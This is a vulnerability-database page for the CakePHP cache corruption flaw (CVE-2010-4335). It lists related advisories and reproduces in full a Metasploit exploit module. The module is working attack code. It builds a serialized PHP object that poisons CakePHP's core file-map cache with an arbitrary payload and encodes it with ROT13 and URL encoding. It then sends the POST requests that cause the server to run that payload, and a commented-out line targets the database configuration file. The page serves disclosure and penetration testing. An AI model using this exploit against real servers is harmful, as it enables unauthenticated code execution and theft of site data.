Lucene search
+L

CakePHP Cache Corruption Code Execution

🗓️ 19 Nov 2010 18:30:07Reported by tdz, Felix WilhelmType 
metasploit
 metasploit
🔗 www.rapid7.com👁 37 Views

CakePHP Cache Corruption Code Execution vulnerability in versions 1.3.5 and earlier allows unauthenticated attackers to execute arbitrary code with webserver permissions

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2010-4335
14 Jan 201100:00
circl
Check Point Advisories
CakePHP Cache Corruption Code Execution (CVE-2010-4335)
14 Mar 201700:00
checkpoint_advisories
CVE
CVE-2010-4335
14 Jan 201122:00
cve
Cvelist
CVE-2010-4335
14 Jan 201122:00
cvelist
Debian CVE
CVE-2010-4335
14 Jan 201122:00
debiancve
Exploit DB
CakePHP 1.3.5/1.2.8 - 'Unserialize()' File Inclusion
18 Jan 201100:00
exploitdb
Exploit DB
CakePHP 1.3.5/1.2.8 - Cache Corruption (Metasploit)
14 Jan 201100:00
exploitdb
Github Security Blog
CakePHP allows remote attackers to modify internal Cake cache and execute arbitrary code
17 May 202205:44
github
NVD
CVE-2010-4335
14 Jan 201123:00
nvd
OSV
DEBIAN-CVE-2010-4335
14 Jan 201123:00
osv
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'CakePHP Cache Corruption Code Execution',
      'Description'    => %q{
        CakePHP is a popular PHP framework for building web applications.  The
        Security component of CakePHP versions 1.3.5 and earlier and 1.2.8 and
        earlier is vulnerable to an unserialize attack which could be abused to
        allow unauthenticated attackers to execute arbitrary code with the
        permissions of the webserver.
      },
      'Author'	=>
        [
          'tdz',
          'Felix Wilhelm', # poc
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '69352' ],
          [ 'CVE', '2010-4335' ],
          [ 'BID', '44852'  ],
          [ 'PACKETSTORM', '95847' ]
        ],
      'Privileged'     => false,
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Payload'        =>
        {
          'Space'       => 4000,
          # max url length for some old versions of apache according to
          # http://www.boutell.com/newfaq/misc/urllength.html
          'DisableNops' => true,
          #'BadChars'    => %q|'"`|,  # quotes are escaped by PHP's magic_quotes_gpc in a default install
          'Compat'      =>
            {
              'ConnectionType' => 'find',
            },
          'Keys'        => ['php'],
        },
      'Targets'        => [ ['Automatic', { }], ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2010-11-15'
      ))

      register_options(
        [
          OptString.new('URI',	[ true, "CakePHP POST path", '/']),
          OptString.new('OptionalPostData',	[ false, "Optional POST data", '']),
        ])
  end


  def exploit
    #path = rand_text_alphanumeric(rand(5)+5)
    key = rand_text_alphanumeric(rand(5)+5)
    fields = rand_text_alphanumeric(rand(5)+5)

    #payload =  "readfile('../config/database.php'); exit();"
    len=payload.encoded.length + 6

    p = ""
    p << ':O:3:"App":4:{s:7:"__cache";s:3:"bam";s:5:"__map";a:2:{s:4'
    p << ':"Core";a:1:{s:6:"Router";s:42:"../tmp/cache/persistent/cake_core_file_map";}'
    p << 's:3:"Foo";s:'
    p << len.to_s()
    p << ':"<? '
    p << payload.encoded
    p << ' ?>";}s:7:"__paths";a:0:{}s:9:"__objects";a:0:{}}'

    #rot13 and urlencode
    p = p.tr("A-Ma-mN-Zn-z","N-Zn-zA-Ma-m")
    p = CGI.escape(p)

    data = "data%5b_Token%5d%5bkey%5d="
    data << key
    data << "&data%5b_Token%5d%5bfields%5d="
    data << fields
    data << p
    data << "&_method=POST"

    #some apps need the form post data
    if datastore['OptionalPostData']
      postdata = CGI.escape(datastore['OptionalPostData'])
      data << "&"
      data << postdata
    end

    print_status("Sending exploit request 1")
    res = send_request_cgi(
    {
      'uri'    => normalize_uri(datastore['URI']),
      'method' => "POST",
      'ctype' => 'application/x-www-form-urlencoded',
      'data'   => data
    }, 5)

    print_status("Sending exploit request 2")
    res = send_request_cgi(
    {
      'uri'    => normalize_uri(datastore['URI']),
      'method' => "POST",
      'ctype' => 'application/x-www-form-urlencoded',
      'data'   => data
    },5)

    print_status("Requesting our payload")
    response = send_request_raw({
      # Allow findsock payloads to work
      'global' => true,
      'uri' => normalize_uri(datastore['URI'])
    }, 5)

    handler
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

02 Oct 2020 20:00Current
8.4High risk
Vulners AI Score8.4
CVSS 27.5
EPSS0.55204
37